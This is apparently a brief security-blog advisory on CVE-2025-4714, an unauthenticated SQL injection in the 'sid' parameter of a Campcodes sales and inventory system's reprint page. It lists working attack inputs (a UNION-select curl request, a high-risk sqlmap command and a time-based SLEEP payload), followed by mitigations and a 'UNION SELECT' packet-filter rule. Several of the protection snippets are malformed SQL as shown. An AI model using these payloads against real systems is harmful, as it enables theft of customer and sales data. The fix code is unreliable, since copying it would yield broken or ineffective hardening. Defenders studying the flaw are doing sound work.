How CVE-2025-4714 Works
The vulnerability exists in `/pages/reprint.php` of Campcodes Sales and Inventory System 1.0 due to improper sanitization of the `sid` parameter. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. Since the system does not implement prepared statements or input validation, the injected SQL executes directly on the backend database. This allows unauthorized access to sensitive data, including customer records, sales transactions, and inventory details. Remote exploitation is possible without authentication, making it critical.

What Undercode Say:
Exploitation
1. Curl Exploit:
curl -X GET "http://target.com/pages/reprint.php?sid=1' UNION SELECT 1,2,3,4,5-- -"
2. SQLMap Command:
sqlmap -u "http://target.com/pages/reprint.php?sid=1" --risk=3 --level=5
3. Manual Payload:
sid=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--
Protection
1. Input Sanitization:
$sid = mysqli_real_escape_string($conn, $_GET['sid']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM sales WHERE id = ?");
$stmt->bind_param("i", $sid);
3. WAF Rule:
location ~ reprint.php {
deny all;
}
4. Patch Verification:
grep -r "mysqli_real_escape_string" /var/www/html/pages/
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep 'reprint.php'
6. Database Permissions:
REVOKE ALL PRIVILEGES ON sales_db. FROM 'webuser'@'localhost'; GRANT SELECT ONLY ON sales_db. TO 'webuser'@'localhost';
7. PHP Hardening:
allow_url_include = Off display_errors = Off
8. Exploit Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "UNION SELECT" -j DROP
